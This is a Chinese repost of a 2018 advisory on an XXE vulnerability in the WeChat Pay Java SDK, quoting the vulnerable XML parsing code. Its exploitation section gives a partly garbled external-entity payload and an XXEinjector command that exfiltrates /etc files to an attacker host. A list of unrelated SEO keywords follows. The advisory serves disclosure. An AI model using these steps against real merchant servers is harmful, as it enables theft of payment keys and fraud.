微信支付SDK存在XXE漏洞
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,微信支付SDK存在XXE漏洞漏洞信息来源:http://seclists.org/fulldisclosure/2018/Jul/3https://xz.aliyun.com/t/24260x00受影
千家信息网最后更新 2025年12月01日微信支付SDK存在XXE漏洞
微信支付SDK存在XXE漏洞
漏洞信息来源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426
0x00受影响版本:
JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查。
微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,×××者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。一旦×××者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)
0x01漏洞详情
The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.phpchapter=11_1 Just in java vision:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip orhttps://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(Backup ) README.md in WxPayApi_JAVA_v3.zip,it show more details: notify code example: [ String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config);//conver to map Map notifyMap = WXPayUtil.xmlToMap(notifyData); if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {//do business logic } else { } ] WXPayUtil source code [ public static Map xmlToMap(String strXML) throwsException { try { Map data = new HashMap(); /*** not disabled xxe *****/ //start parse DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder =documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); //end parse doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node; data.put(element.getNodeName(), element.getTextContent()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn("Invalid XML, can not convert tomap. Error message: {}. XML content: {}", ex.getMessage(), strXML); throw ex; } }] 0x02利用细节
Post merchant notification url with payload:
找到商家的notify
%xxe;]>data.dtd:">%shell;%upload;or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --sslreq.txt :POST merchant_notification_url HTTP/1.1Host: merchant_notification_url_hostUser-Agent: curl/7.43.0Accept: */*Content-Length: 57Content-Type: application/x-www-form-urlencodedXXEINJECT
支付
商家
漏洞
信息
版本
数据
格式
安全
公司
关键
功能
商品
密钥
建议
得了
恶意
接口
服务器
来源
细节
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
学通信好还是学软件开发好
天玑科技数据库管理员
软件开发的技术架构都包括什么
下载东西服务器繁忙
机器人 数据库
服务器怎么u盘启动
中国华为泰山服务器
崇明区市场网络技术供应
360天擎服务器自动补丁
诛仙数据怪物数据库
自己创建的容器可以创建数据库吗
软件开发 供不应求
工业园区口碑好服务器优质推荐
浪潮服务器登录管理端口
尊重社会公德网络安全
嘉盛外汇mt4服务器
网络安全周的句子
弱电机房服务器网线接到哪里去了
第几个网络安全
学计算机网络技术ccna
广州社交软件开发公司
机关网络安全保护
网络安全中心组讲话
青岛服务器租用
联合国贸易数据库产品
怎么把资料备份在服务器上
甘肃互联天下网络技术有限公司
邹平设备软件开发价格
郁白 数据库
如何软件开发自学